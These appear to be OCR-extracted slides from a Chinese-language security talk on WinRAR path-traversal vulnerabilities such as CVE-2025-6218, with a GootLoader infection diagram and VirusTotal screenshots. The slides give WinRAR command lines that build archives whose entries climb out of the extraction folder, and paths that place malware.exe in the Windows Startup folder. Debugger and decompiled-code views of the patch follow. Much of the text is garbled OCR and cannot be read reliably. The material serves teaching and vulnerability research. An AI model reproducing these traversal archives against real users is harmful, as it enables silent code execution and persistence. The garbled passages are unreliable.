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WinRAR Latest Version?

Download WIinRAR

If you don't know what you are looking for then you are probably looking for this WinRAR 64 bit version:

@ WinRAR 7.20
English 64 bit
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BiarE s RIWE

HIEEF B - THREE
BFAE » EXRERREHE
TEHASMEER » PIANARER R4S
EBERK « E—EERK
%,

YFEETECMDHE R d ../
B2 E—EE KK

fl4n: CVE-2025-6218 »
CVE-2025-8088...

RIS
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CVE-2025-0411...
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BiaE s RB

HIEEF B - THREE
BFAE » EXRERREHE
TEHASMEER » PIANARER R4S
EBERK « E—EERK
&

YFEETECMDHREER cd ../
B2 E—EE KK

f4n: CVE-2025-6218 ~
CVE-2025-8088...

RIS

PS C:\Users\betan> cd
PS C:\Users> |

® 127.0.0.1:5000/downloads?filename=../hack.txt
X o SRR EIE R ETF

TEI—

E:
E:
E:

L WinRAR BHEX
REREE.
BRIEETE “test\"
REEZITE

LRITELRY > MIAMRERNE
2 » SBR[ HITHIEE ©
f4n: CVE-2023-38831 ~
CVE-2025-0411...
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R 2= A 24t 4E  FHER = IE

Open File - Security Warning

Do you want to run this file?

m Name: C\Users\cus\Downloads\procmon.exe
- Publisher: Microsoft Corporation
Type: Application

From: C\Users\cus\Downloads\procmon.exe

Run Cancel

Always ask before opening this file

While files from the Internet can be useful, this file type can
) potentially harm your computer. Only run software from
publishers you trust. What's the risk?

R 13X 5F X

TA7 88 3= fE 28 A B AR < 0l [BR 477

User Account Control

Do you want to allow this app to make
changes to your device?

Terminates malware processes so that you
can run your normal security programs.

Verified publisher: Bleeping Computer, LLC.
File origin: Downloaded from the Internet

Show more details
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2024-03-13 (WEDNESDAY): GOOTLOADER INFECTION

fake forum link for ZIP
page download

victim double-
clicks JavaScript

downloaded file from ZIP
ZIP archive archive

GootlLoader
installed and made
persistent through

scheduled task

GootlLoader
web-based
C2 traffic

4o paloalto’ | FuniTa2
& A oRiR:


https://unit42.paloaltonetworks.com/javascript-malware-gootloader/
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AY): GOOTLOADER INFECTION

victim double-
clicks JavaScript
file from ZIP
archive

GootlLoader
web-based
C2 traffic
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https://unit42.paloaltonetworks.com/javascript-malware-gootloader/
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CVE-2025-6218 7148

Published: 2025-06-21 Updated: 2025-06-21
Title: RARLAB WinRAR Directory Traversal Remote Code Execution Vulnerability

Description

RARLAB WInRAR Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows
remote attackers to execute arbitrary code on affected installations of RARLAB WinRAR. User interaction
is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious
file. The specific flaw exists within the handling of file paths within archive files. A crafted file path can
cause the process to traverse to unintended directories. An attacker can leverage this vulnerability to
execute code in the context of the current user. Was ZDI-CAN-27198.

CWE 1 Total

Learn more

« CWE-22: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal')

CVSS 1 Total

Learn more

Severity Version Vector String

EIREEE A T ST N 2R RIS VBRI
HlH o WBE RO EBFEERR
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2247 WInRAR 7.12 WUBIRIRRZS ©
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https://www.ithome.com.tw/news/172879

<ES>

b e ik b [ a  MEBEAERE
EMIE:%E"J’E:*.%E*E ap<B5iE> RN BRI
> .\WinRAR.exe a —ap"layl" test.zip .\test.txt
> 1s EEE R DR EHEE EBiEEx

PS > .\WinRAR.exe a -ap"lay1" test.zip .\test.txt

HAIRIE
— test.zip
—— lay1/
——test.txt

19



<ES>

- e = a InE| EEREAE
EM%EE"J@.‘@*’% ap<BAfE> MR NBIERE
> .\WinRAR.exe a -ap" \.. \" CVE-2025-6218.zip test.txt
> s AR R E R R
PS > .\WinRAR.exe a -ap" \.. \" CVE.zip .\test.txt
A IRIR/
L CVE.zip
—
—

L test.txt .



B S RIERLEE

> .\WinRAR.exe a@gp" \..
BREEEP T EHERE BiEER

> 1s

L test.txt

<ES>
a InE| EEREAE
ap<BRfE> EEHEHE N ERE

\" CVE-2025-6218.zip test.txt

\..\" CVE.zip .\test.txt

BRINBERE “\..\"
BEEER = -
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> .\WinRAR.exe x .\CVE.zip . <fEe>

> 1s X Tt BR S AR R e o 5 PR SE B R
x EBfEE <EE>

H# : C:\Users\betan\Desktop\WorkPlace\zip\l il & 1% \unzip

Mode LastWriteTime Length Name
-a———-— 2026/3/1 L5 06:19 173 CVE.zip
—a———-— 2024/5/18 '~ 11:02 3254424 WinRAR.exe
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> cd ..
> 1s

H# : C:\Users\betan\Desktop\WorkPlace\zip\}fl &l = i&%

Mode LastWriteTime
d————- 2026/3/6 T~ 02:54
d-———- 2026/3/6 T4 02:38

o 2026/3/1 L4 02:09

Length Name

unzip

11 test.txt
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PS C:\Users\betan\Desktop\WorkPlace\zip\HI:HEE> 1s
H $# : C:\Users\betan\Desktop\WorkPlace\zip\fl & & 1%

Mode LastWriteTime Length Name

P 2026/2/28 T4 ou:u6 g E R &

PS C:\Users\betan\Desktop\WorkPlace\zip\Bl:XZ&E> 1s
H # : C:\Users\betan\Desktop\WorkPlace\zip\il il = &
Mode LastWriteTime Length Name

d————- 2026/2/28 T 95:2; FEERK
-a———- 2026/2/28 T4 04:32 4 test.txt
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Startup
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\..\..\malware.exe
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EIF RIS R

Startup
\..\..\AppData\malware.exe
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EIF RIS R

Programs

Startup

Docmunt TR ;

\..\..\AppData\Roaming\Microsoft\Windows\S
tart Menu\malware.exe

Download RIS
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EIF RIS R

Programs

Docmunt

Download

FREAIRIR

EEHRE:
\..\..\AppData\Roaming\Microsoft\Windows\S
tart Menu\Programs\ \malware.exe

35



PS C:\Users\betan\Desktop\WorkPlace\zip\BI:HE &> 1s

H $# : C:\Users\betan\Desktop\WorkPlace\zip\fl & & 1%

Mode LastWriteTime Length Name

_____ 2026/2/28 T4 ou:u6

p\WorkPlace\zip\HI:HIZi&> 1s
H$## : C:\Users\betan\Desktop\WorkPlace\zip\}l il = i%
Mode LastWriteTime Length Name

d————- 2026/2/28 T4 05:27 FEERK
2026/2/28 T4 04:32 4 test.txt
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PS C:\Users\betan\Desktop\WorkPlace\zip\BI:HE &> 1s
H$# : C:\Users\bet

Mode L

————— 2026/2/28

ip\HI;H R IE> 1s
lace\zip\il i = 18
Length Name

————— 2026/2/28 T4 05:27 FEERK
2026/2/28 T4 04:32 4 test.txt
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if ( *((_WORD *)v5 + v3 + 1) == *\\' || *((_WORD *)v5 + v3 + 1) ==

{
LABEL_SS
6 al
‘F v2

NoOuuT b wN

BE2ATRIERE ¢
FERYERISREE » B
MAEEERR » K

MR IMER 2 21

Rl TR PR E]

while (1)
{
v7 al;
*v6 >= 8u )
v7 = (_QWORD *)*al;
*((_WORD *)v7 + v3) != ".'

Yy Ul Ul ulut Ut Ul Ul

a
NOOUVThE WNERE O WO

(o )T e ) I e A B o ) I 0 )}

_QWORD *)*a1l;
al + 3;
*((_WORD *)v8 +
break;
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Y IDIHER?

“ || *((_WORD *)v5 + v3

Ul Ul Ul U1 un

WoONOUTHAS WN

BEm T EREEARE
FERVERISRIRE » B
MABEETRR > Kk

MEIMNER L2
S piimiFRKE

Y Ul Ut

(_QWORD *:)*a]_;
((_WORD *)v7 +

[ 2 B ) I *))
i)

60
6l
62

Y O O
Y U1 B

al + 3;
*((_WORD *)v8




*((_WORD *)v13 + \
2 == 3 && (unsigned __int8)sub

FEFREsE R
RO PRZEAS

goto LABEL_44,;
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" goto LABEL_44;
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<\ E IERiEA test.txt
7 L\test.txt” T’ test.txt” ” test.txt”

k-1 BEHIFEEADS gy vt byl \..\test.txt
7 \.. | test.txt” ”\.. | test.txt” ” \..\test.txt” RIS BRI E
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HEG WHD B ER® MIERE BEO EHO MBI w2 2023 (Tuike
OE s Y& 9§ *tx2H @k # a8 B9
By opm OEHE C chEEm et O oes  womE bd SR O AR O3 P o & Hade O ER
RIP — 0 =3 2272F2FF €alT winrar.7FF6363EA328 patch space
:"H'HH" = - . %Eis‘” S'_fb,,-e,:i:-a,- 7FF6364C3124 RAX  0000013CCF9944D0 L"c:\\Users\\Administrator\\Desktop\ \jBISIBiE \ \ 371 TR
|0 ~ E9 ESFEFFFF %“‘P winrar.7FE6364C2FFC RBX 00007FF636638378 &L"C:\\Users\\Administrator\\Desktop T8\ \ITE
e|0 48:88C3 mov rax,rbx rax:L"C:\\Users\\Administrator\\Des RCX  OOO07FF636638378 @L':C3\\ Users\\Administrator\\Desktop\\AIFR \ \F1E &
®|0 49:833e 08 cmp gword ptr ds:[ri4],s BDX  000000000000002A *
-0 v 72 03 jb winrar.7FF6364C311F RBP  0000001530CED190 y
i 8|0 48:8B03 mov rax,qword ptr ds:[rbx] rax:L"c:\\Users\\Administrator\\Des RSP 0000001530CED130 &" \\.. \\test.txt"
-3 6646:892478 mov word ptr ds:[rax+r15%2],rl12w rax+ris=2:L" test.txt" RSI 00007FF636638390 winrar.00007FF636638390
»@|| 0 49:8BF6 mov rsi,rl4 RDI 0000000000000024 S
®|0 FFC7 inc edi
®/0 49:FFC7 inc ris R8 0000000000000001
® 3878 10 cmp edi,dword ptr ds:[rbx+10] RO 0000000000000000
@ ~ OF8C BAFEFFFF i winrar. 7FF6364C2FBF R1
R10 0000000000008000
£ + EB 04 mp winrar.7FF6364C313B . -
A R1 0000001530CEDOAD
(] 48:8D71 18 ea rsi,qword ptr ds:[rcx+18] R12  000000000000005 e
®|0 49:8BFD mov rdi.ri3 SF =
° 4C:3968 10 cmp qword ptr ds:[rbx+10],r13 R13 0000900000000000 .
S ®l0 + OF86 DB010000 jbe w1m-ar 7FF6364C3323 R14 00007FF636638390 w1qrar.00007FF63663839°
i 41:89 23000000 mov rod,23 238" R15  000000000000002A "'
00007FF 48:88BCE mov rcx,rsi rcx:&L"C:\\Users\\Administrator\\D¢ 8
' 00007FF 48:894D CO mov qword ptr ss:[rbp-40f,rcx [rbp-40]:&L"C:\\Users\\Administrat RIP  00007FF6364C3101 winrar.00007FF6364C3101
! 00007FF 48:85FF test rdi,rdi
¥ 0000 v 74 28 je winrar.7FF6364C3182 RFLAGS 0000000000000391
i ® 48:88BC3 mov rax,rbx users Acr‘riftrator ZF 0O PFO AF 1
i L] 23:2[9)33 ég Tea r'cx.gwogd ptr d;.[r '(Ji 18] OF0 SF1 DF O
i ®|0 ¢ mov qword ptr ss:[firbp- rex CE1 TE1 IF1
° 48:8339 08 cmp gword ptr ds:[rcx],s
e|0 v 72 03 jb winrar. 7FF6364C31GE
: . 48:8503 mov rax, quord per ds: [rbx] administrator\\ges | LASTETE0N. C000000F (STATUS:No.SucH_FILE) \
H --->@||0 66:837C78 FE 5C cmp word ptr ds:[rax+rdi®2-2],5¢c test,txt", i = SR =
r e|0 v 74 0OC je vﬁnrngFFGiSGT:cBlBZ’ ] < >
! ®|00007FF 66:837C78 FE 2F cmp word ptr ds:[rax+rdi“2-2],2F test.txt”,
! |00007FF OF85 94010000 jne winrar.7FF6364C3316 FERE (<64 fastcall) MIEEENES 5
R ®|00007FF 48:88C3 mov rax,rbx rax:L"¢ Users'\\Administrator\\De: v [IE FcX FF636! nrar. FF "c:\\Users\\Administrator\\De:
H o] " %8s 22.0220 09 Semssss il ot e Sosd e Be : g cefnd oenatant AL 2: rdx 000000000000002A 000000000000002A
ey i > 3: r8 0000000000000001 0000000000000001
winrar.00007FF6363EA328 4: r9 0000000000000000 0000000000000000
5: [rsp+20] 00007FF636638378 winrar.00007FF636638378 &L"C:\\Users\\Administrator
. Text:00007FF6364C3101 winrar.exe:$E3101 #E£2501
y ey o - o = 7= B =g ol =1 0000013CCcF9B586L" \\.. \\test.txt"
o EREE 1 W OERIARE 2 e EHRE 3 W ERIREE 4 N OEHIRRE S @ 5301 b=l R Ry ' 4EiERe )000001530CEDL | 00007FF6364C2FG return to winrar.00007FF6364C2F67 from winra
i e UNICODE T :00007FF6366383'winrar.&L"c:\\Users'\\Adm'inistrator\\Desktop\
40000013C000000(
A ( [ 2 "
oot T LReet 32 00 22 Col20 00 20 L1t 00 58 |76 00 45 o0 |Siahe: | 0007E 2385 winrar. aL"c:\\users admindstratory \oeskeop) Vags
000001 3CCE9944C0| 00 00 00 00|00 00 00 00|D8 46 7E EB|00 12 00 90 |.uv.n... { 00007FF6364C2A( return to winrar.00007FF6364Cc2A05 from winrar. 00007
0000013CCF9944D0(43 00 3A 00[5C 00 55 00|73 00 65 00(72 00 73 00 |C:\Users 000001 3CCr I8!
0000013CCF9944E0|5C 00 41 00|64 00 6D 00|69 00 6E 00|69 00 73 00 \Adminis | 00000000000000(
0000013CCF9944F0(74 00 72 00|61 00 74 00|6F 00 72 00|5C 00 44 00 |trator\D 100000000000000
0000013CCF994500(65 00 73 00(68 00 74 00|6F 00 70 00(5C 00 2C 6E |esktop\. { 00000000000000(
0000013CCF994510(66 8A BO 74 (83 58 5C 00|BO 65 9 58|C7 8C 99 65 e N e | 000047FFEDRL12
0000013CCF994520(3E 59 5C 00|20 00 5C 00|2E 00 2E 00(20 00 5C @O |.\ \.. \ :00000600000000:
0000013CCF994530/74 00 65 00|73 00 74 00/2E 00 74 00|78 00 74 00 |test.tXt l
. = rn -
;, = A =



A= @®i# vl § 9

B cry  hEmE BRSO MR W Emmakst O PSS S SEHEE b A S O Eam 2 3A 0 P e 8 Hades € EE
E8 2272F2FF call winrar.7FF6363EA328 patch space 7 185 FPU
e s ' .
8 sub_ed1, 1 7 7 &L"C:\\ \\admini \\Desktop\\BIiBE\ \ Lt
- 1 Wiooar Tersapiea ROX  O0007FF630038378 &L Ci\\Users\\administrator\\Desktop\\MNIER\ St
48:88C3 mov rax,rbx rax:&L"c:\\Users\\Administrator\\D¢ RCX  0000013CCF994524 L"\\.. \\test.txt"
Lo oo "l T RDX 0000013CCF994526 L \\Eest_EXt™
RBP 0000001530CED190
UNICODE iministrator\\De | RSP 0000001530CED130
RSI 0O0007FF636638390 winrar.00007FF636638390
32 00 35 002D 00 36 00|32 00 31 00|38 00 2E 0O 25-6218. RDI  000000000000002A g
7A 00 69 00|70 00 00 00|7A 00 69 00|70 00 00 00 |zip.zip. o i
00 00 00 00|00 00 00 0O0(D8B 46 7E EB|00 12 00 90 |........ R 000000000000002A e }
R e e C:\Users Sl oo
L §5C 00 41 00|64 00 6D 00|69 00 6E 00|69 00 73 00 Adminis R12  000000000000005F &
74 00 72 00|61 00 74 00|6F 00 72 00|5C 00 44 00 \t\rator\D k13" 9000000000000000
v £ o R R14  00007FF636638390 winrar.00007FF636638390
65 00 73 00|6B 00 74 00(6F 00 70 00(5C 00 2C 6E |esktop\. RLS  0000000000000024 *'
gg gg E(C) E)O 3(3) gg gg 83 32 88 gE (SJg Sg gg gg gg \.\ e s\\Administratc | RIP  00007FF6364C3106 winrar.00007FF6364C3106
; Ll 2t
74 00 65 00|73 00 74 00(2E 00 74 00|78 00 74 00 |TEST.TXT [miniscrator\ioc | 260 £ 0 AL O
00 00 52 00|65 00 63 00(65 00 6E 00|74 00 00 00 |.Recent. [, uiniorrar |EO SEO DFO
00 00 00 _00/00 00 00 00/cl 46 77 EB|00 13 00 88 |........ =
== . - T — = T e 00000000 g
0% e sc | e BT IO o el or 0| [SSTSTELs CO00000° (STATUS. o Soch_FILe)
v 74 0C je winrar.7FF§§§4c31?Z ) ol < >
- A Tl [ -l SBCEH (R S L b TR (x64 fastcall) |5 2] ks
anceecs e ok 2oL
Fis=2a Fomikfr UNICODE
. Text:00007FF6364C3106 winrar, exe:SE3106 #E2506 ::’,i 88 (353 88 _2,D 88 gg 88 _B.i 88 gé 88 28 88 gg 8g 25_62].'8'
WOENME | o RNMEL W ANWE: W ANWEs W ERWEs ®mw1 - mmed00 00 00 00{00 00 00 00 (D8 46 7 \ i e [ Deskop\HESRY
i = = =l B = o /E EB OO 1.2 00 90 - .\. ..... l\‘r)!‘l E1nr§'r,-1;j*2t(!)§i_%
i T UNICODE 43 00 3A 00|5C 00 55 00|73 00 65 00|72 00 73 00 |C:\Users \Desktop'\\ A3
Goboorscerosiin 32 % 25-G215. 5C 00 41 00|64 00 6D 00|69 00 6E 00|69 00 73 00 |\Adminis \vesktop\\HBES
000001 3CCF944€0 | 00 i g 74 00 72 00|61 00 74 00|6F 00 72 00|5C 00 44 00 trﬁtorko rom winrar.00007
0000013CCF9944D0 | 43 c:\users 65 00 73 00|6B 00 74 00|6F 00 70 00|5C 00 2C 6E |esktop\.
000003 3 E 994450 74 el 66 8A BO 74|83 58 5C 00|BO 65 9E 58(C7 8C 99 65 |...\....
0000013cCF994500 65 esktop\. 3E 59 5C 00|5C 00 2E 00|2E 00 20 00|5C 00 74 @@ |.\\.. \t
0000013CCF994520| 3 59 5C 00|5C 00 2E 00[2E 00 20 00|5C 00 74 0@ |.\\.. \t 65 00 73 00|74 00 2E 00|74 00 78 00|74 00 00 QO est. txt.
00000 357322330 o 20 ‘ BSCET,

i

Before vs After




to 2§ ¢2 W ¢ o P E# @9
& cru P i B 31! ® g ™ GEiERSekst O oFABER 9 SEHEE o A e O [EAmE 3 P B Hades € EE
E8 2272F2FF call winrar.7FF6363EA328 patch space Y
gg:::g; deg r1’5 | i FPU
DOEE SHbiER S 7 7 e\ \\admini \\Desktop\\BIHIEE\ \FiE g
i L RBX  00007FF636638378  SLICL\\Users\\admintStrator\\Desktop\ MR\ JHEAL
48:8BC3 mov rax,rbx rax:&L"c:\\Users\\Adminis trator\\De RO\ 0000013CCF994 524 L"\\.. \\test.txt"
anL.on 1 res21 o QNN A QaARs I" \\fn(f_txt"
UNICODE i) & 2 "\., users i e
00 36 00|32 00 31 00|38 00 2E 00 25-6218.
00 00 00|7A 00 69 00|70 00 00 00 |zip.zip. \Adm1 nis
00 00 00|D8 46 7E EB|00 12 00 90 |[........ TtTrattor\D
00 55 00|73 00 65 00|72 00 73 0O C:\Users ) ‘\" ZEEG3GIE0000
00 eD 00|69 00 ©E 00|69 00 73 00 \Aadminis - -
00 74 00|6F 00 72 00|5C 00 44 00 |trator\D et
00 74 00|6F Q0 70 00|5C 00 2C 6E
58 5C 00[BO 65 9E 58|C7 8C 99 65 f[...\.... [ .. e
00 5C 00|2E 00 2E 00|20 00 5C 00 Y T
00 74 00|2E 00 74 00|78 00 74 00 Test. Xt minis
00 63 00|65 00 6E 00|74 00 00 0O
00 00 00 C_l 46 77 EB|OD 13 00 B8 J........
48:8803 mov rax,qword ptr ds:[rbx]
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if ( *((_WORD *)v9 + offset - 1)
goto LABEL_35;
if ( offset !=1 )
{
vlie = al;
if { al]3] > 7u )
vlie = (_QWORD *)*al;
if ( *((_WORD *)v1@ + offset - 2) != "\\’
&% *((_WORD *)v1@ + offset - 2) != '/°®
&& (offset != 3 || !(unsigned _int8)sub_1400F8778(al)) )

{

v11 ;_a‘l;
if ( al[3] > 7u )
vil = (_QWORD *)*al;
*((_WORD *)v1l + offset) = '_';// BHENEpattchilE4
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SEEG
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o)

A\°)

v

Downloads the Gootloader zip archive called

“Implied_Employment_Agreement_70159.zip
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https://www.ithome.com.tw/news/173475
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PS > .\WinRAR.exe x .\lily.zip . PS > .\WinRAR.exe x .'\do(lb'Le_'Li'Ly.zip .
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> ] VIRUSTOTAL

Analyse suspicious files, domains, IPs and URLs to detect malware and other
breaches, automatically share them with the security community.

MRz

BRARED FILE URL SEARCH 4

BEIRIECR
HENE R
=
{BEHIA i
R o
Search for a hash, domain, IP address, URL or gain additional context

and threat landscape visibility with OUR THREAT INTELLIGENCE
OFFERING.

HRR

[ pRL, IP address, domain, or file hash ]

Search
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X{FEENE
(File Structure)

ZipHFEE "R RFIE R R TBRAEE

TEARRREF - ERHPREMEENRE2 bytes A > B
AIEHWindowstEFRB B4R > BAT7-Zip « WinRARZE
RRGETANERZRTENIERRHE o

e test.zip x
File Edit Find View Format
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Select Scripts Templates Debug Project Tools \
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(File Structure)
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e test.zip x
File Edit Find View Format
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. NEVER TRUST ANYONE
¥ﬂ¢ﬁﬁﬁAﬁ%
. %h:.é**%(ﬁle Structure) BIYARRZE

,‘.’%é BREYRONEELF(ERAT SEAE)

Keep Hacking, Keep Safe.
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